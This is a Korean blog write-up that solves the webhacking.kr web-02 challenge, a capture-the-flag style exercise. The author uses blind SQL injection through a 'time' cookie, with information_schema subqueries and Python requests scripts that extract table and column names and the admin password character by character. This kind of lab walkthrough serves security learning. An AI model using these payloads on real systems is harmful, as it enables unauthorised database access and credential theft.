https://webhacking.kr/challenge/web-02/
특별한 건 확인할 수 없다.
소스코드를 살펴보았다.
<!--
2021-11-21 05:19:08
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
Your IP is logging... 뒤의 주석을 보니 admin.php에 접근해야 할 것 같다.
url 뒤에 admin.php를 추가해 들어가 보니 아래와 같은 화면이 보였다.
그리고 해당 페이지의 쿠키값에 time이라는 값이 있는 것을 확인했다.
위에서 확인한 소스코드 맨 위 주석에 시간이 있던 것이 생각났다.
그래서 time의 값을 아래와 같이 바꿔보았다.
주석이 바뀐 것을 볼 수 있다.
이 값을 변조해 원하는 결과를 얻을 수 있을 것 같다.
먼저 테이블명을 찾아야겠다고 생각했다.
time의 값을 아래와 같이 변조했다.
(select count(table_name) from information_schema.tables where table_schema=database())
시간 부분이 2로 바뀐 것을 보아 테이블이 2개인 것으로 추측할 수 있다.
첫 번째 테이블의 길이를 알아내 보았다.
(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)
첫 번째 테이블의 길이는 13이다.
마찬가지로 두 번째 테이블의 길이를 구한 결과 길이가 3임을 확인했다.
이제 테이블의 이름을 확인하기 위해 파이썬으로 자동화 프로그램을 작성했다.
주석의 시간 부분을 아스키코드로 변환하는 방법을 사용했다.
import requests
def calculate(response):
value = 0
value += 60 * int(response.text[20])
value += 10 * int(response.text[22])
value += int(response.text[23])
return value
url='https://webhacking.kr/challenge/web-02/'
cookies={"PHPSESSID": "쿠키값"}
cookies['time'] = "(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)"
response = requests.get(url, cookies=cookies)
length = int(calculate(response))
name = ""
for a in range(1, length + 1):
cookies['time'] = "(select ascii(substring(table_name, {}, 1)) from information_schema.tables where table_schema=database() limit 0, 1)".format(a)
response = requests.get(url, cookies = cookies)
name += chr(calculate(response))
print(name)
먼저 첫 번째 테이블의 이름이 admin_area_pw임을 알아냈다.
마찬가지로 두 번째 테이블의 이름을 확인하니 log라는 결과가 나왔다.
문제를 해결하는데 연관이 있어보이는 첫 번째 테이블의 column 개수를 알아보았다.
(select count(column_name) from information_schema.columns where table_name='admin_area_pw')
admin_area_pw의 컬럼이 1개임을 알았다.
이 컬럼의 이름을 알아보았다.
import requests
def calculate(response):
value = 0
value += 60 * int(response.text[20])
value += 10 * int(response.text[22])
value += int(response.text[23])
return value
url='https://webhacking.kr/challenge/web-02/'
cookies={"PHPSESSID": "쿠키값"}
cookies['time'] = "(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)"
response = requests.get(url, cookies=cookies)
length = int(calculate(response))
name = ""
for a in range(1, length + 1):
cookies['time'] = "(select ascii(substring(table_name, {}, 1)) from information_schema.tables where table_schema=database() limit 0, 1)".format(a)
response = requests.get(url, cookies = cookies)
name += chr(calculate(response))
cookies['time']="(select length(column_name) from information_schema.columns where table_name='{}')".format(name)
response=requests.get(url, cookies=cookies)
c_length=int(calculate(response))
c_name=""
for b in range(1, c_length+1):
cookies['time'] = "(select ascii(substring(column_name, {}, 1)) from information_schema.columns where table_name='{}')".format(b, name)
response = requests.get(url, cookies=cookies)
c_name += chr(calculate(response))
print(c_name)
컬럼 이름이 pw임을 알았다.
이제 admin_area_pw 테이블의 pw 컬럼의 내용을 알아내면 원하는 답을 찾을 수 있을 것이라 생각했다.
마찬가지로 한 글자씩 알아내야 하기 때문에 파이썬 코드를 이용했다.
import requests
def calculate(response):
value = 0
value += 60 * int(response.text[20])
value += 10 * int(response.text[22])
value += int(response.text[23])
return value
url='https://webhacking.kr/challenge/web-02/'
cookies={"PHPSESSID": "쿠키값"}
cookies['time'] = "(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)"
response = requests.get(url, cookies=cookies)
length = int(calculate(response))
name = ""
for a in range(1, length + 1):
cookies['time'] = "(select ascii(substring(table_name, {}, 1)) from information_schema.tables where table_schema=database() limit 0, 1)".format(a)
response = requests.get(url, cookies = cookies)
name += chr(calculate(response))
cookies['time']="(select length(column_name) from information_schema.columns where table_name='{}')".format(name)
response=requests.get(url, cookies=cookies)
c_length=int(calculate(response))
c_name=""
for b in range(1, c_length+1):
cookies['time'] = "(select ascii(substring(column_name, {}, 1)) from information_schema.columns where table_name='{}')".format(b, name)
response = requests.get(url, cookies=cookies)
c_name += chr(calculate(response))
cookies['time'] = "(select length({}) from {})".format(c_name, name)
response = requests.get(url, cookies=cookies)
pw_length = int(calculate(response))
pw = ""
for c in range(1, pw_length+1):
cookies['time'] = "(select ascii(substring({}, {}, 1)) from {})".format(c_name, c, name)
response=requests.get(url, cookies=cookies)
pw += chr(calculate(response))
print(pw)
이 값을 admin.php에 넣어 문제를 해결할 수 있었다.
Clear!
'WEB > Webhacking.kr' 카테고리의 다른 글
[Challenge(Old)] old-60 (30) (0) | 2021.11.21 |
---|---|
[Challenge(Old)] old-34 (40) (0) | 2021.11.05 |
[Challenge(OId)] old-29 (40) (0) | 2021.11.05 |
[Challenge(Old)] old-55 (40) (0) | 2021.10.09 |
[Challenge(Old)] old-53 (35) (0) | 2021.10.09 |